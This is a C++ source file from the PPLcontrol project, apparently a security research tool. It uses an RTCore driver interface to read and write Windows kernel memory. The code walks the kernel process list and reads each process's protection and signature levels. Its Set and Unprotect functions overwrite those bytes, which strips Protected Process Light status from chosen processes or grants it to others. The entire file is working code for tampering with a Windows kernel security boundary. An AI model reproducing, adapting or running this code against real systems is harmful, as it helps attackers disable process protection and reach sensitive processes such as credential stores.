Files
itm4n-PPLcontrol/PPLcontrol/Controller.cpp
T
2022-12-08 15:26:03 +01:00

509 lines
15 KiB
C++

#include "Controller.h"
Controller::Controller()
{
_rtc = new RTCore();
_of = new OffsetFinder();
_of->FindAllOffsets();
}
Controller::Controller(RTCore* rtc, OffsetFinder* of)
{
_rtc = rtc;
_of = of;
}
BOOL Controller::ListProtectedProcesses()
{
PCTRL_PROCESS_INFO pProcessInfo = NULL;
DWORD dwIndex, dwNumberOfProtectedProceses = 0;
if (!GetProcessList(&pProcessInfo))
return FALSE;
DEBUG(L"Number of process entries: %d", pProcessInfo->NumberOfEntries);
wprintf(L"\n");
wprintf(L" PID | Level | Signer | EXE sig. level | DLL sig. level | Kernel addr. \n");
wprintf(L" -------+---------+-----------------+-----------------------+-----------------------+--------------------\n");
for (dwIndex = 0; dwIndex < pProcessInfo->NumberOfEntries; dwIndex++)
{
if (pProcessInfo->Entries[dwIndex].ProtectionLevel > 0)
{
wprintf(L" %6d | %-3ws (%d) | %-11ws (%d) | %-14ws (0x%02x) | %-14ws (0x%02x) | 0x%016llx\n",
pProcessInfo->Entries[dwIndex].Pid,
Utils::GetProtectionLevelAsString(pProcessInfo->Entries[dwIndex].ProtectionLevel),
pProcessInfo->Entries[dwIndex].ProtectionLevel,
Utils::GetSignerTypeAsString(pProcessInfo->Entries[dwIndex].SignerType),
pProcessInfo->Entries[dwIndex].SignerType,
Utils::GetSignatureLevelAsString(pProcessInfo->Entries[dwIndex].SignatureLevel),
pProcessInfo->Entries[dwIndex].SignatureLevel,
Utils::GetSignatureLevelAsString(pProcessInfo->Entries[dwIndex].SectionSignatureLevel),
pProcessInfo->Entries[dwIndex].SectionSignatureLevel,
pProcessInfo->Entries[dwIndex].KernelAddress
);
dwNumberOfProtectedProceses++;
}
}
wprintf(L"\n");
SUCCESS(L"Enumerated %d protected processes.", dwNumberOfProtectedProceses);
HeapFree(GetProcessHeap(), 0, pProcessInfo);
return TRUE;
}
BOOL Controller::GetProcessProtection(DWORD Pid)
{
ULONG_PTR pProcess;
UCHAR bProtection;
UCHAR bProtectionLevel, bSignerType;
if (!GetProcessKernelAddress(Pid, &pProcess))
return FALSE;
if (!GetProcessProtection(pProcess, &bProtection))
return FALSE;
if (bProtection > 0)
{
bProtectionLevel = Utils::GetProtectionLevel(bProtection);
bSignerType = Utils::GetSignerType(bProtection);
SUCCESS(L"The process with PID %d is a %ws with the Signer type '%ws' (%d).",
Pid,
Utils::GetProtectionLevelAsString(bProtectionLevel),
Utils::GetSignerTypeAsString(bSignerType),
bSignerType
);
}
else
{
INFO(L"The process with PID %d is not protected.", Pid);
}
return TRUE;
}
BOOL Controller::SetProcessProtection(DWORD Pid, LPCWSTR ProtectionLevel, LPCWSTR SignerType)
{
ULONG_PTR pProcess;
UCHAR bProtectionOld, bProtectionNew, bProtectionEffective;
UCHAR bProtectionLevel, bSignerType;
if (!(bProtectionLevel = Utils::GetProtectionLevelFromString(ProtectionLevel)))
return FALSE;
if (!(bSignerType = Utils::GetSignerTypeFromString(SignerType)))
return FALSE;
bProtectionNew = Utils::GetProtection(bProtectionLevel, bSignerType);
if (!GetProcessKernelAddress(Pid, &pProcess))
return FALSE;
if (!GetProcessProtection(pProcess, &bProtectionOld))
return FALSE;
if (bProtectionOld == bProtectionNew)
{
ERROR(L"The process with PID %d already has the protection '%ws-%ws'.",
Pid,
Utils::GetProtectionLevelAsString(Utils::GetProtectionLevel(bProtectionOld)),
Utils::GetSignerTypeAsString(Utils::GetSignerType(bProtectionOld))
);
return FALSE;
}
if (!SetProcessProtection(pProcess, bProtectionNew))
{
ERROR(L"Failed to set Protection '%ws-%ws' on process with PID %d.",
Utils::GetProtectionLevelAsString(bProtectionLevel),
Utils::GetSignerTypeAsString(bSignerType),
Pid
);
return FALSE;
}
if (!GetProcessProtection(pProcess, &bProtectionEffective))
return FALSE;
if (bProtectionNew != bProtectionEffective)
{
ERROR(L"Tried to set the protection '%ws-%ws', but the effective protection is: '%ws-%ws'.",
Utils::GetProtectionLevelAsString(bProtectionLevel),
Utils::GetSignerTypeAsString(bSignerType),
Utils::GetProtectionLevelAsString(Utils::GetProtectionLevel(bProtectionEffective)),
Utils::GetSignerTypeAsString(Utils::GetSignerType(bProtectionEffective))
);
return FALSE;
}
SUCCESS(L"The Protection '%ws-%ws' was set on the process with PID %d, previous protection was: '%ws-%ws'.",
Utils::GetProtectionLevelAsString(bProtectionLevel),
Utils::GetSignerTypeAsString(bSignerType),
Pid,
Utils::GetProtectionLevelAsString(Utils::GetProtectionLevel(bProtectionOld)),
Utils::GetSignerTypeAsString(Utils::GetSignerType(bProtectionOld))
);
return TRUE;
}
BOOL Controller::GetProcessSignatureLevels(DWORD Pid)
{
ULONG_PTR pProcess;
UCHAR bSignatureLevel, bSectionSignatureLevel;
if (!GetProcessKernelAddress(Pid, &pProcess))
return FALSE;
if (!GetProcessSignatureLevel(pProcess, &bSignatureLevel))
return FALSE;
if (!GetProcessSectionSignatureLevel(pProcess, &bSectionSignatureLevel))
return FALSE;
INFO(L"The process with PID %d has the Signature level '%ws' (0x%02x) and the Section signature level '%ws' (0x%02x).",
Pid,
Utils::GetSignatureLevelAsString(bSignatureLevel),
bSignatureLevel,
Utils::GetSignatureLevelAsString(bSectionSignatureLevel),
bSectionSignatureLevel
);
return TRUE;
}
BOOL Controller::SetProcessSignatureLevels(DWORD Pid, LPCWSTR SignerType)
{
ULONG_PTR pProcess;
UCHAR bSignerType, bSignatureLevel, bSectionSignatureLevel;
if (!(bSignerType = Utils::GetSignerTypeFromString(SignerType)))
return FALSE;
if ((bSignatureLevel = Utils::GetSignatureLevel(bSignerType)) == 0xff)
return FALSE;
if ((bSectionSignatureLevel = Utils::GetSectionSignatureLevel(bSignerType)) == 0xff)
return FALSE;
if (!GetProcessKernelAddress(Pid, &pProcess))
return FALSE;
if (!SetProcessSignatureLevel(pProcess, bSignatureLevel))
return FALSE;
if (!SetProcessSectionSignatureLevel(pProcess, bSectionSignatureLevel))
return FALSE;
SUCCESS(L"The Signature level '%ws' and the Section signature level '%ws' were set on the process with PID %d.",
Utils::GetSignatureLevelAsString(bSignatureLevel),
Utils::GetSignatureLevelAsString(bSectionSignatureLevel),
Pid
);
return TRUE;
}
BOOL Controller::ProtectProcess(DWORD Pid, LPCWSTR ProtectionLevel, LPCWSTR SignerType)
{
ULONG_PTR pProcess;
UCHAR bProtection;
if (!GetProcessKernelAddress(Pid, &pProcess))
return FALSE;
if (!GetProcessProtection(pProcess, &bProtection))
return FALSE;
if (bProtection > 0)
{
ERROR(L"The process with PID %d is already protected, current protection is %ws-%ws.",
Pid,
Utils::GetProtectionLevelAsString(Utils::GetProtectionLevel(bProtection)),
Utils::GetSignerTypeAsString(Utils::GetSignerType(bProtection))
);
return FALSE;
}
if (!SetProcessProtection(Pid, ProtectionLevel, SignerType))
return FALSE;
if (!SetProcessSignatureLevels(Pid, SignerType))
return FALSE;
return TRUE;
}
BOOL Controller::UnprotectProcess(DWORD Pid)
{
ULONG_PTR pProcess;
UCHAR bProtection;
if (!GetProcessKernelAddress(Pid, &pProcess))
return FALSE;
if (!GetProcessProtection(pProcess, &bProtection))
return FALSE;
if (bProtection == 0)
{
ERROR(L"The process with PID %d is not protected, nothing to unprotect.", Pid);
return FALSE;
}
if (!SetProcessProtection(pProcess, 0))
{
ERROR(L"Failed to set Protection level 'None' and Signer type 'None' on process with PID %d.", Pid);
return FALSE;
}
if (!GetProcessProtection(pProcess, &bProtection))
return FALSE;
if (bProtection != 0)
{
ERROR(L"The process with PID %d still appears to be protected.", Pid);
return FALSE;
}
if (!SetProcessSignatureLevel(pProcess, SE_SIGNING_LEVEL_UNCHECKED))
{
ERROR(L"Failed to set Signature level '%ws' (0x%02x) on process with PID %d.",
Utils::GetSignatureLevelAsString(SE_SIGNING_LEVEL_UNCHECKED),
SE_SIGNING_LEVEL_UNCHECKED,
Pid
);
return FALSE;
}
if (!SetProcessSectionSignatureLevel(pProcess, SE_SIGNING_LEVEL_UNCHECKED))
{
ERROR(L"Failed to set Section signature level '%ws' (0x%02x) on process with PID %d.",
Utils::GetSignatureLevelAsString(SE_SIGNING_LEVEL_UNCHECKED),
SE_SIGNING_LEVEL_UNCHECKED,
Pid
);
return FALSE;
}
SUCCESS(L"The process with PID %d is no longer a PP(L).", Pid);
return TRUE;
}
BOOL Controller::GetInitialSystemProcessAddress(PULONG_PTR Addr)
{
ULONG_PTR pKernelBase, pPsInitialSystemProcess, pInitialSystemProcess;
*Addr = 0;
if (!(pKernelBase = Utils::GetKernelBaseAddress()))
return FALSE;
if (!(pPsInitialSystemProcess = Utils::GetKernelAddress(pKernelBase, _of->GetOffset(Offset::KernelPsInitialSystemProcess))))
return FALSE;
DEBUG(L"%ws @ 0x%016llx\n", OF_STR_PSINITIALSYSTEMPROCESS_SYMBOL_NAME_W, pPsInitialSystemProcess);
if (!(_rtc->ReadPtr(pPsInitialSystemProcess, &pInitialSystemProcess)))
return FALSE;
DEBUG(L"System process @ 0x%016llx\n", pInitialSystemProcess);
*Addr = pInitialSystemProcess;
return TRUE;
}
BOOL Controller::GetProcessKernelAddress(DWORD Pid, PULONG_PTR Addr)
{
PCTRL_PROCESS_INFO pProcessInfo = NULL;
DWORD dwIndex;
ULONG_PTR pProcess = 0;
if (!GetProcessList(&pProcessInfo))
return FALSE;
for (dwIndex = 0; dwIndex < pProcessInfo->NumberOfEntries; dwIndex++)
{
if (pProcessInfo->Entries[dwIndex].Pid == Pid)
{
pProcess = pProcessInfo->Entries[dwIndex].KernelAddress;
break;
}
}
HeapFree(GetProcessHeap(), 0, pProcessInfo);
if (pProcess == 0)
{
ERROR(L"Failed to retrieve Kernel address of process with PID %d.", Pid);
return FALSE;
}
*Addr = pProcess;
return TRUE;
}
BOOL Controller::GetProcessList(PCTRL_PROCESS_INFO *List)
{
BOOL bResult = FALSE;
PCTRL_PROCESS_INFO pProcessList = NULL, pProcessListNew;
DWORD dwBaseSize = 4096, dwSize, dwNumberOfEntries = 0;
DWORD64 dwProcessId;
ULONG_PTR pProcess, pInitialSystemProcess;
UCHAR bProtection, bSignatureLevel, bSectionSignatureLevel;
if (!(pProcessList = (PCTRL_PROCESS_INFO)HeapAlloc(GetProcessHeap(), HEAP_ZERO_MEMORY, dwBaseSize)))
return FALSE;
dwSize = sizeof(pProcessList->NumberOfEntries);
if (!GetInitialSystemProcessAddress(&pInitialSystemProcess))
return FALSE;
pProcess = pInitialSystemProcess;
do
{
if (!(_rtc->Read64(pProcess + _of->GetOffset(Offset::ProcessUniqueProcessId), &dwProcessId)))
break;
DEBUG(L"Process @ 0x%016llx has PID %d\n", pProcess, (DWORD)dwProcessId);
if (!GetProcessProtection(pProcess, &bProtection))
break;
if (!GetProcessSignatureLevel(pProcess, &bSignatureLevel))
break;
if (!GetProcessSectionSignatureLevel(pProcess, &bSectionSignatureLevel))
break;
dwSize += sizeof((*List)[0]);
if (dwSize >= dwBaseSize)
{
dwBaseSize *= 2;
if (!(pProcessListNew = (PCTRL_PROCESS_INFO)HeapReAlloc(GetProcessHeap(), HEAP_ZERO_MEMORY, pProcessList, dwBaseSize)))
break;
pProcessList = pProcessListNew;
}
pProcessList->Entries[dwNumberOfEntries].KernelAddress = pProcess;
pProcessList->Entries[dwNumberOfEntries].Pid = (DWORD)dwProcessId;
pProcessList->Entries[dwNumberOfEntries].ProtectionLevel = Utils::GetProtectionLevel(bProtection);
pProcessList->Entries[dwNumberOfEntries].SignerType = Utils::GetSignerType(bProtection);
pProcessList->Entries[dwNumberOfEntries].SignatureLevel = bSignatureLevel;
pProcessList->Entries[dwNumberOfEntries].SectionSignatureLevel = bSectionSignatureLevel;
dwNumberOfEntries++;
if (!(_rtc->ReadPtr(pProcess + _of->GetOffset(Offset::ProcessActiveProcessLinks), &pProcess)))
break;
pProcess = pProcess - _of->GetOffset(Offset::ProcessActiveProcessLinks);
} while (pProcess != pInitialSystemProcess);
if (pProcess == pInitialSystemProcess)
{
pProcessList->NumberOfEntries = dwNumberOfEntries;
bResult = TRUE;
*List = pProcessList;
}
if (!bResult && pProcessList)
HeapFree(GetProcessHeap(), 0, pProcessList);
return bResult;
}
BOOL Controller::GetProcessProtection(ULONG_PTR Addr, PUCHAR Protection)
{
UCHAR bProtection;
if (!(_rtc->Read8(Addr + _of->GetOffset(Offset::ProcessProtection), &bProtection)))
{
#ifdef _WIN64
ERROR(L"Failed to retrieve Protection attribute of process @ 0x%016llx.", Addr);
#else
ERROR(L"Failed to retrieve Protection attribute of process @ 0x%08x.", Addr);
#endif
return FALSE;
}
*Protection = bProtection;
return TRUE;
}
BOOL Controller::SetProcessProtection(ULONG_PTR Addr, UCHAR Protection)
{
return _rtc->Write8(Addr + _of->GetOffset(Offset::ProcessProtection), Protection);
}
BOOL Controller::GetProcessSignatureLevel(ULONG_PTR Addr, PUCHAR SignatureLevel)
{
UCHAR bSignatureLevel;
if (!(_rtc->Read8(Addr + _of->GetOffset(Offset::ProcessSignatureLevel), &bSignatureLevel)))
{
#ifdef _WIN64
ERROR(L"Failed to retrieve SignatureLevel attribute of process @ 0x%016llx.", Addr);
#else
ERROR(L"Failed to retrieve SignatureLevel attribute of process @ 0x%08x.", Addr);
#endif
return FALSE;
}
*SignatureLevel = bSignatureLevel;
return TRUE;
}
BOOL Controller::SetProcessSignatureLevel(ULONG_PTR Addr, UCHAR SignatureLevel)
{
return _rtc->Write8(Addr + _of->GetOffset(Offset::ProcessSignatureLevel), SignatureLevel);
}
BOOL Controller::GetProcessSectionSignatureLevel(ULONG_PTR Addr, PUCHAR SectionSignatureLevel)
{
UCHAR bSectionSignatureLevel;
if (!(_rtc->Read8(Addr + _of->GetOffset(Offset::ProcessSectionSignatureLevel), &bSectionSignatureLevel)))
{
#ifdef _WIN64
ERROR(L"Failed to retrieve SectionSignatureLevel attribute of process @ 0x%016llx.", Addr);
#else
ERROR(L"Failed to retrieve SectionSignatureLevel attribute of process @ 0x%08x.", Addr);
#endif
return FALSE;
}
*SectionSignatureLevel = bSectionSignatureLevel;
return TRUE;
}
BOOL Controller::SetProcessSectionSignatureLevel(ULONG_PTR Addr, UCHAR SectionSignatureLevel)
{
return _rtc->Write8(Addr + _of->GetOffset(Offset::ProcessSectionSignatureLevel), SectionSignatureLevel);
}